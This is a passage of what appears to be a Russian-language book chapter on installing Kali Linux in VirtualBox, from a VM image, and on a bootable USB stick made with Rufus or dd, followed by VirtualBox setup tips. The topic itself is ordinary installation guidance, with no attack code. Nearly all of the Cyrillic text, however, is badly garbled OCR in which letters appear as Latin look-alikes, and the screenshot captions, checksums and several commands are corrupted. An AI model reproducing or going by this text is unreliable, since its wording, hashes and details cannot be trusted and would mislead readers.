BUPTYyaJbHYI0 MamuHy Kali Linux, BBIOpaTh U3 packpbiBaornerocs cimcka Type (Tum)
BapuaHT Linux, a 3 criucka Version (Bepcust) — Bepeuto Debian. O6paTute BHUMAHHE:
BaM TIpejiiaraercs Ha BoIOop JiBe Bepcun — Debian (64-bit) u Debian (32-bit). BoiGop Bep-
CHU 3aBUCHT OT IBYX (DAKTOPOB OT TUIIA OEPALIMOHHOIT crcTeMbl (32- wu 64-6uTHast)
u ot ckavanuoit Bamu Bepcenn [SO-o6pasa. Ecim cucrema 64-6utHast, a CKayaHHbIil
ISO-06pas — 32-6urHblii, BeiOupaercs Bepcus Debian (32-bit). Ecn y Bac 32-6urtHas
cucrema, morpedyercst 32-6uthbiit ISO-006pas u Bepcust Debian (32-bit). Bepcuist Debian
(64-bit) BBIOUpPaAETCS, ecyiu cucTeMa 1 ckadaHHas Bepcust ISO-o6pasa — 64-6uTHble.
Tun cucTeMbl MOKHO TTOCMOTPETH B AnaioroBoM okHe System (Cucrtema). Ilo-
cJie oTpe/ie/IeH st TUTIa U BEPCUH CUCTeMbl HaskMuTe KHOTIKY Next ([lasee).
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Daidn  Mawwna Cnpaeka
*« @ @ |

v hd v
Cuosnaie  Havipomie  Clpucwie  3anycivie MAmMEL | | MHCTpYmMEHT B

Nobpo noxanosaTte B VirtualBox!

FNesan 4atib JaHHUI0 URHA COLEPMAT CIIMCUK BUEX BAD YA bHbIX L]
MBLWKH W KX TPYTIN Ha BallaM KoMNLoTapa.

Mpaean 'acTe faKHOro OKHa npegcTaenreT coboi Habop
HHCTPYMEHTOB, KOTOPHIE OTKPLTH! (WAM MOMYT BbiTe OTKPLTE) B
YLUMIE MOMEHT ANA BeIGp MLUMHEL CTHCOK BCEX AOCTYHL
PY ] YIOLIEH MCIIO € NPaDoi
CIUPUHBL LIABHOTD |yJ|6upu PAUIRIWKEHHUIU B BEPXHER YAUIN URHA
NPUNOMEHUA. STOT CNUCOK GyAeT PACIIMPATLCR HOBEIMM MHCTRYMEHTAMU ’
8 Byaywyx peansax.

Bl MOMKETE HAXKATH KHONKY F1 ANA NOAYYEHHA NOMOLLM, WAK NOCETHTL.

waww virtualboy.org AnA AaNLHeAEE MHOOPMAIMK 1K NOCNEHIY
HODOCTCH.

Derann

MHCTPYMEHT HABNK/BHUA 34 IETANAMK RUPTYANRHOE MAIIMHKL (BM). OTPAMABT rynnk El
CaoiACcTE BLIbp #EBMu bazostie onag Hag PEMH K2 CBORCTE

(Takumm KaK HocHTENH WhdopMaLmi).

CHuMKH

MHCTPYMEHT ynf c HOH MAWKHE! (BM). UTpaMaeT CHUMKM,
COSaHHbIE ANA Tekywed OM u noauonaeTTame ONEPaUMK HAf HHMK, KOK COSADHKE,
VUANEHAE, BOUTIAHUBNERRE (B6i00p B KAYECIBE TRRYLLEIU), d 1AKKE DIPARAET HX CBUACTBA.
Mo=B0ONAET PEAAKTUPOBATE CBOACTEA CHUMKOE, TAKWE KAK WMA W ONHCAHHE.

Puc. 1.11. Co3aHue HOBOW BUPTYasibHOWM MalUMHbI

3. Creaymomnmm aroM Mbl onpesiesisieM 00beM OIlePaTUBHON TTaMSITH, BBIIEJISIEMON JIJIsT
BUPTYasIbHOU ManinHbL. YeM OoJIbllie Bbl CMOKETE BBIIEINTh BUPTYalbHON MallinHe
OTIEPATUBHOI MaMSITH, TeM Jrydiiie OyzieT paboTaTh rocTeBast OlePaIl[HOHHAST CHCTEMA.
Kax Busino u3 puc. 1.12, Mbl CMOTJIN BBIZIEJIUTD CO3/IABAEMON BUPTYaJIbHOM MaIlliHe
namaTh oobeMoM 2048 MoaiiT. Boigenure CTOIBKO OlEpaTUBHON IaMSTH, CKOJIbKO
[I03BOJISAET Balll KOMIIbIOTED, 1 HaskmuTe KHomKy Next (Janee). O6parure BHUMaHMeE:
MBI HE MOKEM BBIJIETUTh BUPTYATbHON MalliHE BECh MMEIOIINIICS Ha KOMIThIOTEpE
00beM OTepaTUBHON MAMSITH, TAK KaK OHA HY’KHA U JIJIst pabOThI OCHOBHOM OTlepaIiu-
OHHOI CUCTEMBI.

4. B otkpsiBiiemcs okHe Hard disk (7 KecTkuii arick) ycTaHOBUTE MepekodaTesb B T0-
Joxkenne Create a virtual hard disk now (CosziaTh HOBBIN BUPTYaTbHBIN JKECTKUI TUCK )
(puc. 1.13) n mpososzkuTe yeTaHOBKY. B cieytomem okHe Specified type (Y kaxkure
THIT) OCTaBbTE MPeAJaraeMplil M0 YMOJYAHNUIO THI CO3/[aBaeMOTO AncKa — VDI
(Virtual Box Disk Images) u niepeiiaure k okHy File location and size (¥Ykaskure hopmar
XpaHeHMs), B KOTOPOM YCTaHOBHUTE TI€PEKJII0UaTesh B MoJI0keHue Dynamic virtual hard
disk ([lmramMmuecknii BUPTYaTbHBIN KECTKUH INCK) U HaxkMuTe KHOTIKY Next ([lamee).
Orxkpoercst okHO File location and size (YkaxuTe nmst u pazmep daiina) (puc. 1.14).
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@ Co3AaTh BUPTYANLHYH MBLLMHY

YkaxuTte o6bEM namaAT

YiaxuTe obvém onepaTueHOR NnamATk (RAM) BulgeneHHbId 4aHHOA BUPTYaNbHOW MalLKHe.

PekomeHgyemelid 0btEm paseH 1024 MB.

9 2048 [Z] mB

4 MB 8192 MB

Hanee H OTmena

Puc. 1.12. BbigeneHve onepaTMBHOM NaMsT BUPTYasibHOWM MalluHe

[0 a3l

@ C034aTh BAPTYaNLHYH MALLIMHY

"
JKecTtkum amck
MpK #enaH11 K HOBOW BUPTYaNEHOR MallMHE MOXKHO NOAKNHUMTE BUPTYaNLHEIR XECTKMA aucK. Bel
MOMETE CO30dTh HOBbIA WNK BhlﬁpETb W3 YAHE MMEHHLIMXCS.

Ecnu Bam Heobxonuma Gonee cnoxHan KoHMUIypaumua Bel MOMeTe NPONYCTHTE STOT War M BHECTH
M3MEHEHMA B HACTPONKK MALLKHEI NOCNe 88 CO3AaHKA.

PekoMmeHayemblid 00BEM HOBOro BUPTYANLHOMO JKECTKOrC Awcka paseH 8,00 I'b.
©) He noaknouaTL BUPTYANLHLI KECTKUE AMCK
(@) CoanaTh HOBLIA BUPTYANLHBIA WECTKWIA AUCK

@) Wecnonb3oBaTs CyLIECTBYILMA BUPTYaLHLIR KECTKWIA QnCK

[Linux Ubuntu 16.04 emy.vdi (OBbiunblii, 20,00 ME) | A

el

Cozgatk H OTmeHa ]

Puc. 1.13. Co3gaHune BMPTYyanibHOro XXeCTKOro Ancka

37
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10.

@ Co3aaTb BUPTYANEHLIA MECTKMA AWCK

YKaxuTte ums 1 pasmep daiina

n(l)l(a.l'l‘f'l“iCTE YHENHTC HMA 1100070 DHPTY3NLIIOro MECTHONe AMCKA O none CIIHIY WK MmoﬂLﬂYrﬂ'C HIIONIY © HIKO! IKOH Nankm
Cnpaoa OT 1Iero.

Kali Linux Ia

ViawMHTe pazMap BUPTYankHoro MECTKoro gucka B merabaiitax. 3ta orp p pd I JAHHI,

HOTOpble BUPTYaNLHAA MALLMHE CHOMIET MPaHWTEL HA 3TOM AUCHE.
3\nn e
T S L

4,00 Mb 2,00 T

Cusgais l’ CimeHa

Puc. 1.14. Buibrpaem pa3mep BUPTYanibHOro XeCTKOro Ancka

B nosie BBosra Name (Mst) ocraBbTe TpejjiaraeMoe 110 yMOJTYaHuio uMs Kali Linux.
C MOMOIIIbIO TOPU3OHTAIBHOTO TI0JI3YHKA BIOEPHUTE KeJIaeMbIil pasMep sKeCTKOTO
jaucka, Ho He Menee 32 T6aiit. Ecin ske BbI XOTHUTE YyCTaHOBUTH AOIOJIHUTENbHOE
nporpaMMHoe obecrieueHne, BBIIEJUTE TI0 BOSMOKHOCTH GOJIbIIIE IPOCTPAHCTRA.

ITocse TOTO Kak pa3mep AKCKa OYIET OTPeIeNEH, elle Pa3 MPOBePhTe BHIOPAHHbIE
rnapameTpbl 1 HakMuUTe KHOTIKY Create (Co3maTh).

Hosas BupryanbHas MalmHa co3ziada. Ee uMs BbI yBUIUTE B JIEBOW YacTH OKHA
Virtual Box (puc. 1.15). Ternepb MOKHO IPUCTYIATH K YCTAHOBKE OIIEPAIIMOHHO
cucremsr Kali Linux.

JIBaKIbI TIETKHUTE KHOMKOIN MBINYA HA Ha3BAaHUW BHOBDb CO3JIAHHON BUPTYAJIbHOMN
MalluHbl. MatmHaa 3armycTuTcst, U Bbl YBUJIUTE JINAJTIOTOBOE OKHO Select start-up disk
(Boibepure 3arpysoutsiii guck) (puc. 1.16).

[IlesKHUTE KHOMKOM MBI HA U300pakKeHUN MATKH cIipaBa oT crcka. OTKpoiiTe
B MOSIBUBIIEMCSI IHAJIOTOBOM OKHE TIanKy, B KOTOpoil coxpanen 1SO-o6pas Kali
Linux 2018.2, nmiesikauTe Ha 3TOM (haitjae n Haxxmute kHONKy OK. [Tocie Toro kax
o6pas Gyer BbIOpaH, 3aKpoiiTe ANaIoroBoe OKHO Select start-up disk (Boibepure 3a-
TPY30YHBIN IUCK), HaxkaB KHOMNKY Start (Hauars).

JlasibHeiinas ycraHoBKa HU4eM He oTJindaercst oT 00biuHoi yeraHoBku Kali Linux Ha
JKeCTKUH uck Komibiotepa. IloatoMy cienyiite ykazaHusIM, IPUBEACHHDIM BbIIIIE.
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Maidn MawwHa Cnpaeka

Cozgare  Hacrpowis  Chpocrie  3anycivie MaWMHEL

@@ D D . >N

Aobpo noxanosath B VirtualBox!

MEULIMH W W FPYNN WA BAWeM KoMRRKITEDE.

npunoxexnR. JraT enucok byner | r HORKIMM Py
B fymypo: penseas.

Bid MONCETE HEKATL KHONKY FL A NOMYSCHIA NOMOLLM, HAK NOCETHTL
wowwvirtualboxorg A gensseimei sbopraunm n NocRgHRX

Teaan UBCTL JEHHOTD OKHA COREPXHMT CIMCOK BLEX BHPTYANLHLIC v

i

WHepymenie

™
Mpapan yacTL A3NHOTD oKia npeacTannneT colol wabop
HHCTPYMEHTOD, KOTOPLAE OTKPLTLY (WKW MOrYT GLiTL OTRDLTL) O
TERYLLUMA MOMEHT QA BeOpaHHoR mawmnHe. CIIMCOK BORX JOCTYTIHED
WHC « 4 B COOTHETC MEHID C NPABOR
CTOPOHL! TNABHOMD TyNBapa, PACNOMOMEHHOND B BEPXNHER UACTW ONHA '

(TaxuMM kX HOCHTERM WschopRALm).

HOBOCTER,
Neranu
WHeTpyment walumogenns 3a qeranssn srpTyaisHof mawmrne (BM). Orpeaxaer rpyine @
CBOACTE i BM 1 it Hag p W3 CBORCTE

CHHMKH

HHCTPYMEHT YNpRBAEHHA CHHMKBMK BHPTYANEHOA MaWKHL! (BM). OTpeosaeT CHmMMin,
COYAHHKIE AR TECYIRH BM 4 NOZAONAET TAKKE ONENALII HAS HUMK, KAK CORQAHME,

=l

YOANEHUE, BOCCTAHORNEHME (RHbOD R YILEra), & TaKke orf L
MNesnonACT PCRAKTHPODATL COOACTOA CHMMKOD, TAKKE K2K MMA W QOHCINNG.

-

Puc. 1.15. BupTyanbHas MaluvHa co3gaHa

I8 Kali Linux [Buikniouenal - Oracle VM VirtualBox o || B &3

Daiin  Mawwda Bwa Beoa Ycopodciea Cnpaska

@ BLiGepuTe JArpyaouiiLi Qo

[ 103aNYACTA DLIGCPUTC DHPTYaNLIL i AWK wan
M[KANS, OMTHUECKHX [IMCKOR, CONRMKALIE AMCK ANA 3anyckn Ramed kosoi
BHPTYENEHOH HAWHHEL

Awce gonses e 2aipy M et prbyine
CHCTCMLY, KOTOPYIO Bl XOTHTC YCTAH00MTL. Auck GyACT a0TOMaTHHCCKH
VRARNEUEH NP RRIKNMUEHINA RHITYANRHON MAIMHK, OfHAKD, A CIyune

HEOONOAWHOCTH, Bhl MOMETE GIENATE 3TO W CAMU HENONLZYA MEHID
Yerpoiicrsa.

Mpusog xocra 'Ex'

BORSSEEE SO M rgman ;

Puc. 1.16. [Imanorosoe okHO Select start-up disk (Bbibepute 3arpy304Hblii AWUCK)

39



40 asa 1 e YcraHoBka v HacTpoiika Kali Linux

YcraHoBka Kali Ha BUpTyanbHyt0 MalmHy
c obpa3za BupTyanbHoM MawwmHbl Kali Linux

Bropoii BapuanT ycranosku Kali Linux Ha BUPTyaibHY10 MAlllUHY — UCIIOJIb30BAHUE
npegocrasisiemoro Kali Linux o6paza VMware. 9tot 06pas JIeTKO yCTaHABJINBAET-
Cs1 Ha BUPTYAJbHOU MaliHe. 3arpy3uTh 00pa3 OmeparioHHON CHCTEMBI BBl MOKETE
co cTtpanuIel https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-
download/.

O6paTuTe BHUMaHKE: CIIUCOK JOCTYITHBIX 06pasos Kali aist BupTyanbHbIx miatdopm
pacmipeziesier 1o AByM BkJagkam. Ha Bkirazke Kali Linux VMware Images — B chopmare
coxpanenus 7zip (puc. 1.17) u Kali Linux VirtualBox Images — B (hopmate coxpanenusi Ova
(Open Virtual Appliance) (puc. 1.18).

Kali Linux VMware Images Kali Linux VirtualBox Images

Image Name Torrent | Size Version SHAZ565um
Kali Linux Vm 64 Bit 7z Torrent | 2.5G | 2018.4 Fedc27ad5a ccf37b40b415cBTbEIMFFT1dedD
Kali Linux Vm 32 Bit 7z Torrent | 2.4G | 2018.4 65eu1e7186203709U9402816F 3147797160 TEL636991 30950 2bbeBe 3T Fe6TE

Puc. 1.17. Cnucok pocTynHbix obpasos Kali ana nnatdopmbl VMware
B popmare 7zip

Kali Linux VMware Images Kali Linux VirtualBox Images

Image Name Torrent | Size | Version | SHA2565um

Kali Linux Vbox 3Z Bit Ova Torrent 3.6G 2018.4 2hZBC5184T7936a57 aedT 20CCh7 e37C 18923 Cate 666 CeesC9ar1409850a2689

Kali Linux Vbox 64 Bit Ova | Torrent | 3.6G | 2018.4 BEhcI5F726¢ 375a01edch y/

Puc. 1.18. Cnucok agocTtynHbix 06pa3oB Kali ana nnatdopmsbl VirtualBox
B ¢hopmaTe Ova

IMocaie Toro kak obpas Kali Linux OGyzer 3arpy:keH, HeOGXOAUMO CPAaBHUTH X€IIl
SHA256 zarpy:xennoro daiiia co 3HaYeHUEM Xellla, YKa3aHHbIM Ha CTPAHUIIE 3aTPY3KL.
EcJiu 3HaUeHUs COBMAJIN, Pa3apXUBUPYIITe MOJyUIEeHHbBII 00pa3 B Ty MAIKy, B KOTOPOii
BBI 9TOT 06pa3 PEMuIn COXPaHnuTh. ECIM ¥ Bac OCHOBHAsS OTMEPAIOHHAS CHCTEMA
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Windows, BocTionb3yiTech JIJIst U3BJICUCHUST apXUBa JTIOOBIM M3 YCTAHOBJICHHBIX HA Ba-
1Ieii MallliHe apXUBaTopoB, yMeolmx padorars ¢ ZIP-apxusamu. Hanpumep, WinRAR,
WinZIP, 7-ZIP. B oniepallMOHHBIX cUcTeMaX Linux JJs pa3apXuBUPOBAHUS MOXKHO
UCIIOJIb30BaTh apXuBaTopsl .8z unu 7-ZIP. [locye ycriennoro pazapXuBupoBaHus Bbl
Haiiziere B 11esieBoii narnke 13 gaiinos.

1. Yrobbi co3aTh ¢ MOMOIIBIO 00pa3a HOBYIO BUPTYaJbHYIO MAITMHY, Ha TAHEJN WH-
cTpyMeHTOB BUpTyaabHoil Mammnbl Oracle VirtualBox Manager HasMuTe KHOIIKY
New (Co3snats).

2. CospgaBaemyto BUPTYaJbHYIO MAlIMHY MBI HazoBeM Kali Linux from VM, Tum orreparu-
OHHOM CHCTEMBI OTIPe/IeTNM Kak Linux, Bepcuio — Debian.

3. Bbigeanm onepatuBHyIo maMsaTh 00beMoM 2048 Mobaiir.

[lanee B okae Hard disk (ZKecTkni 11CK) yCTAaHOBUTE TTEPEKITIOYATENb B TTOJTOXKEHNE
Use an existing virtual hard drive file (Mcrosub3oBaThb CylecTBYIONINNI BUPTYaJIbHBLI
JKecTKUH amck). HakMuTe KHOIKY GZ, pacIosoKeHHYIo CIIpaBa OT I0JIs BBOJA
¢ UMeHeM OTKPbIBaeMoro obpasa 1 B osiBUBIIEMCs OKHe Select the virtual hard disk file
(BeiGepure haiin BUPTYaJIbHOIO JKECTKOIO AUCKA) YKAsKUTE IIyTh K PaHee pasapXuBU-
poBarHoMy 06pa3y Kali Linux. Mbr B kauecTBe 06pasa JKeCTKOTO JIMCKa BBIOPaIH (haii
kali-1linux-2018-4-vm-amd64. [Tocie BeiGOpa (haiiza oOpasa HaKMUTE KHOIKY Create
(Cospnarp) (puc. 1.19).

- | ® |

@ CozaaTe EMPTYaAbHYIO MALIKMHY

XKecrkun auck
TpK MenaHuu K HOBOA BUPTYANEHOM MALLMHE MOXCHO NOAKIHOUWTE BUPTYaNbHBIR KECTKWI auck. Bel
MOMETE CO3AaTh HOBbIA WK BhlﬁpETb W2 Y3HE UMeHLLMXCA.

Ecnu Bam Heobxonnma Bonee cnoxHan Konburypayns Bul MOXeTe NponycTuTs STOT War U BHEeCTH
M3MEHEHUA B HACTPOMKM MAILKHEI NOCne e& co3haHns.

PekomeHgyemelii 0BBEM HOBOTrO BUPTYEBHOTO WECTKOrO AWcka paseH 8,00 .
He nogwntouaTs BUPTYBNEHEIR XECTKMIA uCK
Co30aTE HOBLIA BUPTYANEHLIA MECTKHA QWCK

(@ WcnonszoBaTe CyLIECTEYHLMA BUPTYANLHEI XECTIWI aMcK

(Kali-Linux-2.0.0-vm-amd64.vmdk (OBbiuHEId, 30.00 GB) B!

l Co3naTh H OTMeHa ]

Puc. 1.19. daiin obpasa BbibpaH
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[To ymomauuio GyeT onpeeneHa ceayromas KOHOUTypars.

Pasmep skectroro aucka: 30 Toaiir.
Twum cetn: NAT.

M4 osb3oBaTesis: root.

00 DD

ITapop: root.

o) Mpy TECTUPOBAHWM Ha MPOHUKHOBEHME CTapaiTeCcb HE UCMONb30BaTh THM
I:I cetn NAT. Jlyywwe BbIGpaTb MOAKIIOYEHNE TUMA «CETEBOW MOCT». MpU Ha-
CTPOViKe MaLlUMHbl U3MEHUTE NpeaiaraeMble Mo YMOIYaHUIO JIOTMH U NMaporib.

Ecom ipu ycranoBke 06pasa He BO3HUKHET HUKAKUX OIMHOOK, B IEBOI 4aCTH OKHA
Orakle VM VirtualBox Manager mosiButcs natesb HOBOI BUPTYaIbHON MAIIHBL.

[ns 3ammycka BUPTYya/IbHOM MAIlIMHbBI HAKMUTE KHOTIKY Run (3amycTuTh) Ha aHe u
WHCTPYMEHTOB OKHa MeHekepa VirtualBox.

Eci mosiBuTCst coobtierue 06 ommbKax, sarpysute naker pacupennst VirtualBox
(http://www.virtualbox.org/wiki/Downloads). ITocsie HaskaTust kKHOTIKH OK OTKpPOETCS CJIeiy-
fotee aragoroBoe okHo (puc. 1.20).

d“' VirtualBox - Question M

You are about to install a VirtualBox extension pack.
Extension packs complement the functionality of VirtualBox
and can contain system level software that could be
potentially harmful to your system. Flease review the
description belows and only proceed if you have obtained
the extension pack from a trusted source.

Name: Oracle VM VirtualBox Extension Pack

Version: 5.0.12r104815

Description: USE 2.0 and USB 3.0 Host Controller, Host
Webcam, VirtualBox RDP, PXE ROM, Disk
Encryption.

Install ] l Cancel

Puc. 1.20. VirtualBox — Bonpoc

[Ipomoszxute ycranosky. st aToro HaskmMute KHOMKY Install (Y cTanoBuTs), a 3a-
TeM — OK.

CoxpaHeHuWe unu NepeHoc BUPTYanbHON MalUMHbI

Ectb aBa npeumymiecTsa npu ycraHoske Kali Linux Ha BUpPTyaJibHYIO MaIIMHY.
BupryanbHyio MalmHy o4eHb IIPOCTO [TOCTaBUTh Ha Nay3y. PekuM naysbl O3BOJIUT
OCTaHOBUTH paboTy MaliHbl 6e3 morepu JanHbX. Hanpumep, ecin BaMm HEOOXOAUMO
3aBepuIMTH PAOOTY OCHOBHO CHCTEMBI, 8 BUPTYyaJbHASA MAIIUHA TPOI0JIKAET 06paboT-
KY JIAaHHBIX, PEsKUM TIay3bl BBITIOJIHIEMOe /IeiCTBUe TTPUOCTAHOBUT U TIPU CJIeyoleM
3aIyCKe MO3BOJIUT TPOAOUKUTD PaBOTY ¢ TOTO MeCTa, Ha KOTOPOM BbI OCTAHOBHUIIUCD.
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Jluist mprocTaHOBKK paboThl BUPTYaJIbHOIM MalllMHbI HaxkMUTe KHOIKY Pause (ITaysa),
PacCIOJIOKEHHYIO B JIEBOM BEPXHEM YTy OKHA.

Eiiie o101 0cO6€HHOCTHIO BUPTYaJIbHON MAIUHbBI SBJISIETCS BOBMOKHOCTD IIepeMe-
IIEHMSI €€ ¢ OJTHOTO KOMITBIOTEpPa Ha IPYTOil. ITO oueHb yaobHas dyHkius. Hanpuwmep,
BUPTyaJbHas MallliHa paboTajia Ha HOYyTOYKe, HO BaM MOTPeGOBAIOCH IEPEMECTHUTD €€
Ha 6osree HOBBI 1 GoJiee MOTITHBIH KOMITBIOTeD. TIp1 9TOM Best KOHMGUTYpAIHst 1 Ha-
CTPOIKH OYYT COXpaHEHBI U BAM HE MPUETCS CHOBA YCTAHABJIMBATH M HACTPAMBATH
OTIepPAITMOHHYTO CUCTEMY.

Jlns sKenopra BUPTYaJbHON MAllMHBL 3aBEPIINTE PabOTy rOCTEBONH CUCTEMBI.
Iasee BoiGepuTe B BEPXHEN 4aCTH OKHA MEHE/Kepa BUPTYaJbHBIX MAIIUH KOMaH/Ly
MeHIo File » Export Appliance (Daiis » Ikcropt KoHburyparuii). Bam OymeT nmpeaioxkeHo
SKCIIOPTUPOBaTh BUpTyaabHyto Mamuny Kali Linux. BeiGepure mamky, B KOTOpyIo OyayT
9KCTIOPTUPOBAHBI HACTPOHKHM TiporpaMmbl. Kor/ia Bce HacTpoiiku GyAyT BBITIOJTHEHBI,
HasKMUTE KHOMKY Export (Jkcrmopr). Bupryanbras Mamuna 6yeT akcnopTupoBaHa
B BBIOPAHHYIO paHee MarnKy. ITOT MPOIECC 3aiiMeT HEKOTOPOEe BPEMS, B 3aBUCUMOCTH OT
pasMepa BUPTYaJbHOU MAIlITHBL.

[Tocite TOro Kak aKcmopT OyAeT 3aBepIiieH, st TIePEeHOCa BUPTYaIbHOM MaIliHbI
Ha JIPYTOi KOMITBIOTEP BBl MOKETE UCITOTB30BATH OO0 3AMOMIHAIONIEE YCTPOHCTBO.
Wmeiire B Buny: mpu BeiGope Oracle VirtualBox Bam 1151 coznaHyst BUPTYaJIbHOI MAIIUHbI
Ha HOBOM KOMITBIOTEpPE HEOOXOIMMO YCTaHOBUTH Ty ke Bepeuto Oracle VirtualBox, koro-
past 6bLIa Ha npeskHel MatHe. /lajiee IMIOPTUPYHTE BUPTYATbHYO Matiuny. JIJist 3Toro
BbIOEpUTE CO3MAHHbII paHee (aill KOHDUIYPALMK U CJIeAYITe HHCTPYKIIUSIM.

YcTaHoBka Kali Ha USB

Tperuii BapuanT — ycraHoska Kali Linux na USB (¢aeniky). Takoii MeTos HasbiBa-
eTcs Portable Kali Linux. Coracio ouuaabHoil JOKyMeHTalnd, y paspaboTINKOB 9TO
CcaMbIii JTIOOMMBIH 1 caMbiii GBICTPBIiT crioco0 3arpy3ku u yeranoBku Kali. TTo cpaBHeHM0
¢ BapuanToM yctaHoBku OC Ha JKeCTKHUH IUCK, € TIOMOIIBIO (DJIECNTKN W 3aTTMCAHHON Ha
Heit moprarusHoii Kali BbI MoskeTe 3amycturs Kali Linux Ha 060M KOMITbIOTEPE, TIO/-
JepskrBatoieM 3arpysky ¢ USB.

Mpoueaypa YCTaHOBKM OMepauMoHHOM cucTeMbl Ha USB Takxke npuUMeHu-
TenbHa K kapTam namsitu (SSD, SDHC, SDXC u gp.).

EcTh HECKOIBKO MHCTPYMEHTOB, TIO3BOJISIONINX co34aTh mopratusHyio Kali Linux.
OxuH U3 Takux HHCTpyMeHTOoB — Rufus (http://rufus.akeo.ie/). OH 3a1ycKaeTcst TOJIbKO
Ha KOMIIBIOTEPE MO/l YIIPABJICHUEM OTlepallnoHHON cructeMbl Windows.

Jluist cozpanmst 3arpy30uHoro aucka u3 ISO-o6pasa MOKHO UCIIOJIB30BATH U JAPYTHE
WHCTPYMEHTBI:

O Win32DiskImager (https://launchpad.net/win32-image-writer);
Q Universal USB Installer (http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/);
O LinuxLive USB Creator (http://www.linuxliveusb.com).



44 maBa 1l e YcraHoBka v HacTpoiika Kali Linux

ITepen cospanueM nopraTusHoii Kali Linux BaM HYKHO y4ecTh HECKOJIBKO MOMEHTOB.

Q Kali Linux I1SO image. C TIOMOIIBIO CTIEIUATBHOTO HHCTPYMEHTA BbI, KOHEUHO, MOKETE
cpasy 3arpysuTh o6pas nmoprarusHoii Kali Linux. Ho, 1o Hamemy MHEHUIO, ropaszio
Jydiie cHadasia 3arpysutb [SO-06pas, a 3arem Hactpouth Rufus va paboty ¢ atum
ISO-daiinom.

Q USB flash disk. Bam monagoburcs unctbiii USB-Hakomurens 00beMOM, I0CTATOUHBIM
1U1sT pabOTHI OIIEPAMOHHON CUCTEMBL. MbI IipesiaraeM ucnonb3osatsh USB pasmepom
He menee 16 I'6aiiT.

[Tocaie Toro kak Rufus Gyzer 3arpyskeH, IS €ro 3arycKa JABask/(bl MEJTKHUTE KHOTKON
MBI Ha (aiine rufus.exe. TTocse 3amycka mporpaMMBbl BBl yBUITE OKHO Rufus.

B omneparonnoii cucteme UNIX 06pas cospaercst ¢ oMolibio kKomanaer dd. Taee
MPUBEICH TPUMEp CO3/anus obpasa:

dd if=kali-linux-2.0-i386.iso of=/dev/sdb bs=512k

3pecb /dev/sdb — 310 USB.

Jlnst cozmammst 3arpysouroro USB Kali BermosaunTe coremyionme reiicTBUs.

1. B kauectse 1esieBoro ycrpoiictsa Beibepute USB. B HatieM mpuMepe B OTI€paIiioH-
Holl cucreme Windows a1o auck E.

2. Beibepure U3 pacKpbIBAKOIIETOCs cIicKa Partition scheme and target system type (Cxe-
Ma pasfiesia i THII 1[eJIeBOH crcTeMbl) mapameTp MBR partition scheme for BIOS or UEFI
computers (Cxema paznenoB MBR aist kommnibiorepo BIOS wmm UEFT).

3. Ycranosute diaxox Create a bootable disk using (Co3szaTh 3arpy304HbIi IUCK C TIO-
MOIIbIO), BbIOepuTe 3Havenue ISO image (O6pas ISO) 1 HaxkMuTe KHOIKY ¢ n300pa-
skermreM aucka (puc. 1.21).

4. Jlzist co3paHst 3arpy304HOro 0Opasa HakMuTe KHOTIKY Start (Hauatn).

[Tocsie TOTO Kak Tporecc OYeT 3aBepIieH, COXPaHUTE BCEe TOKYMEHTHI. Ecau BbI
xoTuTe cpasy nonpobosars sarpysuth Kali Linux ¢ USB, nepesarpysure KOMIIbIOTED.
BoamoskHo, muist 3arpysku ¢ USB Bam mmoTpebyercst iepeHacTpouTh GAa30BYH0 CHCTEMY
BBO/a-BBIBO/Ia (BIOS). Ecun Bce Oyer caenano nmpaBuiibHo, cucrema Kali Linux Gyner
3arpysxena ¢ USB.

C nomoubto Rufus MoxHo yctaHoBuTb Kali Linux Ha SD-kapTy. Ans goctu-
XKEeHWs Haunydlero pesynbTaTta clegyeT Ucnonb3osaTb SD-kapTy knacca 10.

Ecnn Bbl XOTUTE BOCMNO/1b30BaThCS pPaClMPEHHBIMN BO3MOXXHOCTAMU COXpa-
HeHusi Ha USB, BbINOMHNUTE AENCTBUS, OMNMCaHHbIE B pa3aese AoKyMeHTaumm
Adding Persistence to Your Kali Live USB (MoBblweHne HagexHoctu Kali
Live USB) no agpecy https://docs.kali.org/downloading/kali-linux-live-usb-
persistence.
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& Rufus 2.18.1213 (Portable) =

Device
(KALI LIVE (E1) -]

Partition scheme and target system type

[MBR partition scheme for BIOS or UEFI computers v]
File systemn
(FAT32 (Defautt) v

Cluster size
(8192 bytes (Default) -]
New volume label

Kali Live

Format Options

Check device for bad blocks:
Quick format

[¥] Create a bootable disk using: |150 Image ~ | 2 I

Create extended label and icon files
[ J
o ) o]

Using ISO: kali-linux-1.0.1-i386.is0

Puc. 1.21. OkHo nporpamMmbl Rufus

HacTtpoika B1pTyanbHOM MallnHbI

ITocsie Toro kKak BuptyaibHas Manta Kali Linux Gyier ycraHOBJIEHA, CIeAyeT BbIIOJ-

HUThH HECKOJBKO HacTpoek. Onu obecriedar GOMbIyI0 GyHKIIMOHATBHOCTD 1 yA0OCTBO
HCIIOJI30BAHMUS.

[ocTeBble gononHeHus VirtualBox

[Tocsie ycranoBky BupTyaibHoil Mammnbl Kali Linux pexoMerayercst yCTaHOBUTD TO-
cresoe gonoaHenne VirtualBox, KoTopoe mpegocTaBuT BaM CJIeAyIOIne BO3MOKHOCTH.

Q PaboTa ¢ BUPTyaIbHOI MAIINHON B IOJHOIKPAHHOM PEKIME.

Q bBeicrpast paboTa MBIIIU B BUPTYaJbHOI MallInHe.

O KommpoBaHue TeKCTa MeK/Ty OCHOBHOW M TOCTEBON OTIEPAITMOHHBIMU CHCTEMaMI.
O CoBMecTHOE UCIIOJIb30BaHue 00IIel Ak OCHOBHOM ¥ rOCTEBOI MalluHaAMMU.
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[[JIH YCTaHOBKHU I'OCTEBBIX I[OHO]IHEHI/Iﬁ BBIIIOJIHUTE CJIeIyIOlIe ﬂeﬁCTBHH.

BriGepute B Menio VirtualBox komanmy Devices » Install Guest Additions (¥ cTpoii-
cTBa » YCTaHOBKa TOCTEBBIX JOTOMHEHHH ). Daiisi ¢ ToCTeBHIMHU AOMOTHEHUSAMU Oy/1eT
CMOHTHMPOBAH KaK JIUCK.

B oxne VirtualBox nossurcs coobuienue (puc. 1.22). Haxmure knonky Cancel (O1-
MeHa), 4TOOBI 3aKPHITh OKHO.

“VBD);;GAS_-S.?-A"'curgté_in_s--software intended to.
be automatically started. Would you like to run it?

If you don't trust this location or aren’t-sure, press Cancel.

Cancel Run

Puc. 1.22. CoobuieHure B okHe VirtualBox

